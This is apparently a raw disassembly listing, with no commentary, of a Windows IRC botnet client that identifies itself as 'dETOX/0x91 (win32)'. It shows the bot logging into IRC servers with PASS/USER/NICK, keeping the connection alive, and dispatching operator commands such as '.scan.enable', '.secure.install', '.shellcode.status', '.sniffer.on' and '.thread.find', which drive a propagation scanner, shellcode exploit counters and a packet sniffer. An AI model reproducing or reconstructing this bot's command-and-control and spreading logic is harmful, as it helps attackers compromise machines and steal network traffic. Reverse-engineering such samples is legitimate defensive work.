		push	offset sub_407282


loc_404CE3:				; CODE XREF: sub_404530+1F8j
		call	sub_40A45C
		jmp	loc_405147
; ---------------------------------------------------------------------------


loc_404CED:				; CODE XREF: sub_404530+53Ej
		push	offset a_scan_enable ; ".scan.enable"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_404D83
		cmp	[ebp+var_98], eax
		jz	loc_40514A
		and	[ebp+var_1C], eax


loc_404D11:				; CODE XREF: sub_404530+842j
		mov	edi, [ebp+var_1C]
		imul	edi, 2Ch
		cmp	word ptr dword_402BE0[edi], 0
		push	[ebp+var_98]
		jz	short loc_404D74
		lea	eax, dword_402BC8[edi]
		push	eax
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404D6F
		cmp	byte_402BF0[edi], al
		push	off_402BDC[edi]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		jz	short loc_404D56
		push	offset unk_401688
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_404D56:				; CODE XREF: sub_404530+81Aj
		push	offset dword_401658
		call	sub_405185
		add	esp, 10h
		mov	byte_402BF0[edi], 1
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_404D6F:				; CODE XREF: sub_404530+807j
		inc	[ebp+var_1C]
		jmp	short loc_404D11
; ---------------------------------------------------------------------------


loc_404D74:				; CODE XREF: sub_404530+7F5j
					; sub_404530+8C7j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset unk_401618
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_404D83:				; CODE XREF: sub_404530+7CCj
		push	offset dword_401608
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404DC3
		push	offset aScanner	; "Scanner"
		call	sub_40A64F
		pop	ecx
		test	eax, eax
		jz	loc_40514A
		push	dword_40B0C8
		call	sub_40715A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_4015CC
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_404DC3:				; CODE XREF: sub_404530+862j
		push	offset a_scan_disable ;	".scan.disable"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404E4A
		cmp	[ebp+var_98], eax
		jz	loc_40514A
		and	[ebp+var_1C], eax


loc_404DE3:				; CODE XREF: sub_404530+918j
		mov	edi, [ebp+var_1C]
		imul	edi, 2Ch
		cmp	word ptr dword_402BE0[edi], 0
		push	[ebp+var_98]
		jz	loc_404D74
		lea	eax, dword_402BC8[edi]
		push	eax
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404E45
		cmp	byte_402BF0[edi], al
		push	off_402BDC[edi]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		jnz	short loc_404E2C
		push	offset unk_401584
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_404E2C:				; CODE XREF: sub_404530+8F0j
		push	offset dword_401554
		call	sub_405185
		add	esp, 10h
		and	byte_402BF0[edi], 0
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_404E45:				; CODE XREF: sub_404530+8DDj
		inc	[ebp+var_1C]
		jmp	short loc_404DE3
; ---------------------------------------------------------------------------


loc_404E4A:				; CODE XREF: sub_404530+8A2j
		push	offset dword_401548
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404EBA
		mov	edi, offset aScanner ; "Scanner"
		push	edi
		call	sub_40A64F
		pop	ecx
		test	eax, eax
		jz	loc_40514A
		and	byte_40B248, 0
		push	1388h
		call	dword_4010F4	; Sleep
		push	edi
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		push	dword_40B0C8
		call	sub_40715A
		add	esp, 0Ch
		push	eax
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_401510
		call	sub_405185
		add	esp, 10h
		and	dword_40B0C8, 0
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_404EBA:				; CODE XREF: sub_404530+929j
		push	offset dword_401504
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_404F7A
		xor	ebx, ebx
		mov	[ebp+var_158], ebx
		push	offset dword_4014F0
		lea	eax, [ebp+var_154]
		push	eax
		call	sub_40AB94
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], ebx
		mov	edi, 80h


loc_404EF2:				; CODE XREF: sub_404530+A0Fj
		mov	eax, [ebp+var_1C]
		imul	eax, 2Ch
		cmp	word ptr dword_402BE0[eax], bx
		jz	short loc_404F41
		mov	ecx, dword_402BE8[eax]
		add	[ebp+var_158], ecx
		push	off_402BDC[eax]
		push	ecx
		push	offset dword_4014E0
		lea	eax, [ebp+var_1D8]
		push	eax
		call	sub_40AB94
		push	edi
		lea	eax, [ebp+var_1D8]
		push	eax
		lea	eax, [ebp+var_154]
		push	eax
		call	sub_40AB8E
		add	esp, 1Ch
		inc	[ebp+var_1C]
		jmp	short loc_404EF2
; ---------------------------------------------------------------------------


loc_404F41:				; CODE XREF: sub_404530+9CFj
		push	[ebp+var_158]
		push	offset dword_4014C8
		lea	eax, [ebp+var_1D8]
		push	eax
		call	sub_40AB94
		push	edi
		lea	eax, [ebp+var_1D8]
		push	eax
		lea	eax, [ebp+var_154]
		push	eax
		call	sub_40AB8E
		add	esp, 18h
		lea	eax, [ebp+var_154]
		jmp	loc_40460A
; ---------------------------------------------------------------------------


loc_404F7A:				; CODE XREF: sub_404530+999j
		push	offset a_secure_instal ; ".secure.install"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404FA2
		call	sub_40914C
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_40143C
		call	sub_405185
		add	esp, 0Ch


loc_404FA2:				; CODE XREF: sub_404530+A59j
		push	offset a_shellcode_sta ; ".shellcode.status"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405004
		xor	ecx, ecx
		mov	[ebp+var_1DC], ecx
		and	[ebp+var_1C], ecx


loc_404FBE:				; CODE XREF: sub_404530+AADj
		mov	eax, [ebp+var_1C]
		imul	eax, 2Ch
		cmp	word ptr dword_402BE0[eax], 0
		jz	short loc_404FDF
		add	ecx, dword_402BE8[eax]
		mov	[ebp+var_1DC], ecx
		inc	[ebp+var_1C]
		jmp	short loc_404FBE
; ---------------------------------------------------------------------------


loc_404FDF:				; CODE XREF: sub_404530+A9Cj
		push	ecx
		movzx	eax, word_40B24A
		push	eax
		push	dword_40B244
		call	sub_40715A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_4013D4
		jmp	loc_4046AD
; ---------------------------------------------------------------------------


loc_405004:				; CODE XREF: sub_404530+A81j
		push	offset a_sniffer_on ; ".sniffer.on"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405055
		mov	edi, offset aSniffer ; "Sniffer"
		push	edi
		call	sub_40A64F
		pop	ecx
		test	eax, eax
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		jnz	short loc_40504B
		push	offset unk_401394
		call	sub_405185
		push	edi
		push	1
		push	0
		push	offset sub_4098E2
		call	sub_40A45C
		add	esp, 1Ch
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_40504B:				; CODE XREF: sub_404530+AF8j
		push	offset unk_401360
		jmp	loc_4047AA
; ---------------------------------------------------------------------------


loc_405055:				; CODE XREF: sub_404530+AE3j
		push	offset a_sniffer_off ; ".sniffer.off"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4050A3
		mov	edi, offset aSniffer ; "Sniffer"
		push	edi
		call	sub_40A64F
		pop	ecx
		test	eax, eax
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		jnz	short loc_405085
		push	offset unk_401320
		jmp	loc_4047AA
; ---------------------------------------------------------------------------


loc_405085:				; CODE XREF: sub_404530+B49j
		push	offset unk_4012F4
		call	sub_405185
		push	edi
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		add	esp, 14h
		jmp	loc_40514A
; ---------------------------------------------------------------------------


loc_4050A3:				; CODE XREF: sub_404530+B34j
		push	offset a_thread_find ; ".thread.find"
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4050E5
		cmp	[ebp+var_98], eax
		jz	loc_40514A
		push	[ebp+var_98]
		call	sub_40A64F
		pop	ecx
		mov	[ebp+var_1E0], eax
		test	eax, eax
		jnz	short loc_405137
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset unk_4012B8
		jmp	loc_4047AA
; ---------------------------------------------------------------------------


loc_4050E5:				; CODE XREF: sub_404530+B82j
		push	offset dword_4012A8
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4050FF
		push	esi
		call	sub_40A5D5
		pop	ecx
		jmp	short loc_40514A
; ---------------------------------------------------------------------------


loc_4050FF:				; CODE XREF: sub_404530+BC4j
		push	offset dword_401298
		push	ebx
		call	sub_40ABB2
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40514A
		cmp	[ebp+var_98], eax
		jz	short loc_40514A
		push	[ebp+var_98]
		call	sub_40ABAC
		push	eax
		call	sub_40A56C
		push	[ebp+var_98]
		call	sub_40ABAC
		add	esp, 0Ch


loc_405137:				; CODE XREF: sub_404530+BA4j
		push	eax
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset dword_401270


loc_405142:				; CODE XREF: sub_404530+95j
					; sub_404530+E5j ...
		call	sub_405185


loc_405147:				; CODE XREF: sub_404530+7B8j
		add	esp, 10h


loc_40514A:				; CODE XREF: sub_404530+185j
					; sub_404530+1A9j ...
		wait
		jmp	short loc_405154
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_405154:				; CODE XREF: sub_404530+C1Bj
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404530	endp


; =============== S U B	R O U T	I N E =======================================



sub_405167	proc near		; CODE XREF: sub_4052A5+1Bp
		mov	eax, dword_40372C
		cmp	eax, 5
		jnz	short loc_405175
		xor	eax, eax
		jmp	short loc_405176
; ---------------------------------------------------------------------------


loc_405175:				; CODE XREF: sub_405167+8j
		inc	eax


loc_405176:				; CODE XREF: sub_405167+Cj
		mov	dword_40372C, eax
		imul	eax, 1Ch
		mov	eax, off_401B98[eax]
		retn
sub_405167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405185	proc near		; CODE XREF: sub_404530+B0p
					; sub_404530:loc_4046ADp ...

var_101C	= dword	ptr -101Ch
var_1018	= byte ptr -1018h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4043D8
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 1004h
		call	sub_40ABE0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		push	[ebp+arg_0]
		call	sub_40ABD2
		pop	ecx
		cmp	eax, 1000h
		jnb	loc_405281
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_101C],	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40ABCC
		add	esp, 0Ch
		mov	[ebp+var_101C],	ebx
		mov	esi, dword_4010FC
		call	esi ; dword_4010FC
		mov	ecx, eax
		sub	ecx, dword_40B27C
		mov	eax, 3E8h
		cmp	ecx, eax
		ja	short loc_405212
		push	eax
		call	dword_4010F4	; Sleep


loc_405212:				; CODE XREF: sub_405185+84j
		call	esi ; dword_4010FC
		mov	dword_40B27C, eax
		cmp	dword_40B280, 0FFFFFFFFh
		jz	short loc_405246


loc_405222:				; CODE XREF: sub_405185+FAj
		push	ebx
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40ABD2
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1018]
		push	eax
		push	dword_40B280
		call	dword_401244
		jmp	short loc_405283
; ---------------------------------------------------------------------------


loc_405246:				; CODE XREF: sub_405185+9Bj
		push	1388h
		call	dword_4010F4	; Sleep
		mov	al, byte_40B240
		cmp	al, bl
		jnz	short loc_405279
		cmp	byte_40B274, bl
		jnz	short loc_405275
		push	dword_40B280
		call	sub_408616
		pop	ecx
		call	sub_4052A5
		jmp	short loc_405281
; ---------------------------------------------------------------------------


loc_405275:				; CODE XREF: sub_405185+DBj
		cmp	al, bl
		jz	short loc_405281


loc_405279:				; CODE XREF: sub_405185+D3j
		cmp	byte_40B274, bl
		jnz	short loc_405222


loc_405281:				; CODE XREF: sub_405185+42j
					; sub_405185+EEj ...
		xor	eax, eax


loc_405283:				; CODE XREF: sub_405185+BFj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_405296
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_405296:				; CODE XREF: sub_405185+102j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052A5	proc near		; CODE XREF: sub_404530+33Ep
					; sub_405185+E9p ...

var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		mov	al, byte_40B274
		test	al, al
		jnz	locret_4053DC
		call	sub_40969D
		call	sub_405167
		push	eax
		call	sub_409570
		test	eax, eax
		pop	ecx
		jz	loc_4053C3
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401B98[eax]
		call	sub_409570
		pop	ecx
		push	eax
		call	dword_40124C
		mov	[ebp+var_C], eax
		mov	eax, dword_40372C
		imul	eax, 1Ch
		mov	[ebp+var_10], 2
		mov	ax, word_401B9C[eax]
		push	eax
		call	dword_401230
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_401234
		lea	ecx, [ebp+var_10]
		push	10h
		push	ecx
		push	eax
		mov	dword_40B280, eax
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		jz	loc_4053C3
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BA0[eax]
		call	sub_40ABD2
		test	eax, eax
		pop	ecx
		jz	short loc_40536B
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BA0[eax]
		push	offset aPassS	; "PASS	%s\r\n"
		call	sub_405185
		pop	ecx
		pop	ecx


loc_40536B:				; CODE XREF: sub_4052A5+AAj
		mov	eax, dword_40B278
		push	esi
		push	eax
		push	offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
		push	eax
		push	eax
		push	eax
		push	offset aUserSSSSNickS ;	"USER %s %s %s :%s\r\nNICK %s\r\n"
		call	sub_405185
		mov	esi, 104h
		lea	eax, [ebp+var_114]
		push	esi
		push	0
		push	eax
		call	sub_40AC10
		add	esp, 24h
		lea	eax, [ebp+var_114]
		push	0
		push	esi
		push	eax
		push	dword_40B280
		call	dword_40123C
		cmp	eax, 1
		pop	esi
		jge	short loc_4053D5
		push	dword_40B280
		call	dword_401240


loc_4053C3:				; CODE XREF: sub_4052A5+29j
					; sub_4052A5+8Ej
		push	1388h
		call	dword_4010F4	; Sleep
		call	sub_4052A5
		leave
		retn
; ---------------------------------------------------------------------------


loc_4053D5:				; CODE XREF: sub_4052A5+110j
		mov	al, 1
		mov	byte_40B274, al

locret_4053DC:				; CODE XREF: sub_4052A5+10j
		leave
		retn
sub_4052A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4053DE	proc near		; CODE XREF: sub_405421+4Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		mov	cl, [esi]


loc_4053E7:				; CODE XREF: sub_4053DE+1Cj
		test	cl, cl
		jz	short loc_4053FC
		cmp	cl, 0Dh
		jz	short loc_405400
		cmp	cl, 0Ah
		jz	short loc_405400
		mov	cl, [eax+esi+1]
		inc	eax
		jmp	short loc_4053E7
; ---------------------------------------------------------------------------


loc_4053FC:				; CODE XREF: sub_4053DE+Bj
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_405400:				; CODE XREF: sub_4053DE+10j
					; sub_4053DE+15j
		push	edi
		xor	ecx, ecx
		lea	edi, [eax+esi]


loc_405406:				; CODE XREF: sub_4053DE+3Aj
		mov	dl, [edi+ecx]
		cmp	dl, 0Dh
		jz	short loc_405413
		cmp	dl, 0Ah
		jnz	short loc_40541A


loc_405413:				; CODE XREF: sub_4053DE+2Ej
		and	byte ptr [edi+ecx], 0
		inc	ecx
		jmp	short loc_405406
; ---------------------------------------------------------------------------


loc_40541A:				; CODE XREF: sub_4053DE+33j
		add	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		retn
sub_4053DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405421	proc near		; CODE XREF: sub_40549A+A4p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4043E8
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_40545E


loc_40544E:				; CODE XREF: sub_405421+67j
					; MEW:00405498j
		mov	edi, esi
		cmp	byte ptr [esi],	0
		jnz	short loc_40546D
		push	[ebp+arg_0]
		call	sub_40AC16
		pop	ecx


loc_40545E:				; CODE XREF: sub_405421+2Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40546D:				; CODE XREF: sub_405421+32j
		push	esi
		call	sub_4053DE
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_1C], esi
		and	[ebp+var_4], 0
		push	edi
		call	sub_4055A6
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40544E
sub_405421	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]
		jmp	short loc_40544E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40549A	proc near		; DATA XREF: sub_40933F+110o

var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4043F8
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0


loc_4054C4:				; CODE XREF: sub_40549A+B1j
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		push	ebx
		call	sub_40AC22
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_1C], edi
		cmp	edi, ebx
		jz	short loc_4054FA


loc_4054DC:				; CODE XREF: sub_40549A+BBj
					; sub_40549A+C8j ...
		add	ebx, 400h
		mov	[ebp+var_24], ebx
		lea	eax, [ebx+1]
		push	eax
		push	edi
		call	sub_40AC1C
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_1C], edi
		test	edi, edi
		jnz	short loc_405511


loc_4054FA:				; CODE XREF: sub_40549A+40j
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_405511:				; CODE XREF: sub_40549A+5Ej
		lea	esi, [edi+ebx]
		push	0
		push	400h
		lea	eax, [esi-400h]
		push	eax
		push	dword_40B280
		call	dword_40123C
		mov	[ebp+var_20], eax
		test	eax, eax
		jle	short loc_405550
		and	byte ptr [esi+eax-400h], 0
		push	edi
		call	sub_405421
		push	edi
		call	sub_40AC16
		pop	ecx
		pop	ecx
		jmp	loc_4054C4
; ---------------------------------------------------------------------------


loc_405550:				; CODE XREF: sub_40549A+99j
		jz	short loc_405568
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4054DC
		call	dword_40122C
		cmp	eax, 2738h
		jz	loc_4054DC


loc_405568:				; CODE XREF: sub_40549A:loc_405550j
		push	edi
		call	sub_40AC16
		and	byte_40B274, 0
		and	byte_40B240, 0
		mov	[esp+30h+var_30], 1388h
		call	dword_4010F4	; Sleep
		call	sub_4052A5
		jmp	loc_4054DC
sub_40549A	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	0
		call	dword_4010EC	; ExitThread

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055A6	proc near		; CODE XREF: sub_405421+5Dp

var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= byte ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= byte ptr -4B8h
var_3B8		= byte ptr -3B8h
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_234		= byte ptr -234h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_404408
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 4BCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_40ABD2
		pop	ecx
		add	eax, 4
		and	al, 0FCh
		call	sub_40ABE0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_2B8], ebx
		push	esi
		call	sub_40ABD2
		pop	ecx
		add	eax, 4
		and	al, 0FCh
		call	sub_40ABE0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		lea	eax, [esi+1]
		push	eax
		push	ebx
		call	sub_40ABA0
		push	esi
		push	[ebp+var_1C]
		call	sub_40ABA0
		mov	edi, offset asc_401ADC ; " "
		push	edi
		push	[ebp+var_1C]
		call	sub_40ABB8
		add	esp, 18h
		mov	[ebp+var_2B4], eax
		mov	[ebp+var_130], 1


loc_40563F:				; CODE XREF: sub_4055A6+BFj
		cmp	[ebp+var_130], 20h
		jge	short loc_405667
		push	edi
		push	0
		call	sub_40ABB8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_130]
		mov	[ebp+ecx*4+var_2B4], eax
		inc	[ebp+var_130]
		jmp	short loc_40563F
; ---------------------------------------------------------------------------


loc_405667:				; CODE XREF: sub_4055A6+A0j
		push	offset aPing	; "PING"
		push	[ebp+var_2B4]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405694
		push	[ebp+var_2B0]
		push	offset aPongS	; "PONG	%s\r\n"
		call	sub_405185
		pop	ecx


loc_40568E:				; CODE XREF: sub_4055A6+305j
		pop	ecx
		jmp	loc_405CD3
; ---------------------------------------------------------------------------


loc_405694:				; CODE XREF: sub_4055A6+D5j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	esi, [ebp+var_2B0]
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4056C1
		push	offset dword_401DB8
		push	[ebp+var_2A8]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4056D7


loc_4056C1:				; CODE XREF: sub_4055A6+103j
		push	offset dword_401DAC
		push	[ebp+var_2A8]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4056F5


loc_4056D7:				; CODE XREF: sub_4055A6+119j
		push	offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
		lea	eax, [ebp+var_3B8]
		push	eax
		push	offset dword_401D90


loc_4056E8:				; CODE XREF: sub_4055A6+1C0j
					; sub_4055A6+436j
		call	sub_405185
		add	esp, 0Ch
		jmp	loc_405CD3
; ---------------------------------------------------------------------------


loc_4056F5:				; CODE XREF: sub_4055A6+12Fj
		push	offset aError	; "ERROR"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40572A


loc_405706:				; CODE XREF: sub_4055A6+3A2j
					; sub_4055A6+3B7j ...
		and	byte_40B274, 0
		and	byte_40B240, 0
		push	dword_40B280
		call	sub_408616
		pop	ecx


loc_405720:				; CODE XREF: sub_4055A6+38Ej
		call	sub_4052A5
		jmp	loc_405CD3
; ---------------------------------------------------------------------------


loc_40572A:				; CODE XREF: sub_4055A6+15Ej
		push	offset aKick	; "KICK"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405768
		push	1388h
		call	dword_4010F4	; Sleep
		and	byte_40B240, 0
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BA8[eax]
		push	off_401BA4[eax]
		push	offset dword_40195C
		jmp	short loc_4056E8
; ---------------------------------------------------------------------------


loc_405768:				; CODE XREF: sub_4055A6+193j
		push	offset a009	; "009"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4057E0
		push	3E8h
		call	dword_4010F4	; Sleep
		push	dword_40B278
		push	offset aModeSI	; "MODE	%s +i\r\n"
		call	sub_405185
		pop	ecx
		pop	ecx
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BA8[eax]
		push	off_401BA4[eax]
		push	offset dword_40195C
		call	sub_405185
		mov	edi, offset aSniffer ; "Sniffer"
		push	edi
		call	sub_40A64F
		add	esp, 10h
		test	eax, eax
		jnz	loc_405CD3
		push	edi
		push	1
		push	eax
		push	offset sub_4098E2
		call	sub_40A45C


loc_4057D8:				; CODE XREF: sub_4055A6+64Aj
		add	esp, 10h
		jmp	loc_405CD3
; ---------------------------------------------------------------------------


loc_4057E0:				; CODE XREF: sub_4055A6+1D1j
		push	offset a001	; "001"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_405BF5
		push	offset a422	; "422"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_405BF5
		push	offset a366	; "366"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405841
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BA4[eax]
		push	[ebp+var_2A8]
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405841
		mov	byte_40B240, 1


loc_405841:				; CODE XREF: sub_4055A6+273j
					; sub_4055A6+292j
		push	offset a332	; "332"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4058B0
		push	offset asc_401D58 ; " :"
		push	ebx
		call	sub_40AB9A
		pop	ecx
		pop	ecx
		sub	eax, ebx
		mov	[ebp+var_134], eax
		cmp	eax, 1
		jl	loc_405CD3
		and	[ebp+var_4C4], 0
		lea	eax, [eax+ebx+2]
		mov	[ebp+var_4C0], eax
		mov	eax, dword_40372C
		imul	eax, 1Ch
		mov	eax, off_401BA4[eax]
		mov	[ebp+var_4C8], eax
		mov	[ebp+var_4CC], offset aPrivmsg ; "PRIVMSG"
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_404530
		jmp	loc_40568E
; ---------------------------------------------------------------------------


loc_4058B0:				; CODE XREF: sub_4055A6+2AAj
		push	offset a433	; "433"
		push	esi
		call	sub_40AFA4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4058F3
		push	0Ah
		push	4
		call	sub_40A818
		push	eax
		call	sub_40A77F
		add	esp, 0Ch
		mov	dword_40B278, eax
		push	eax
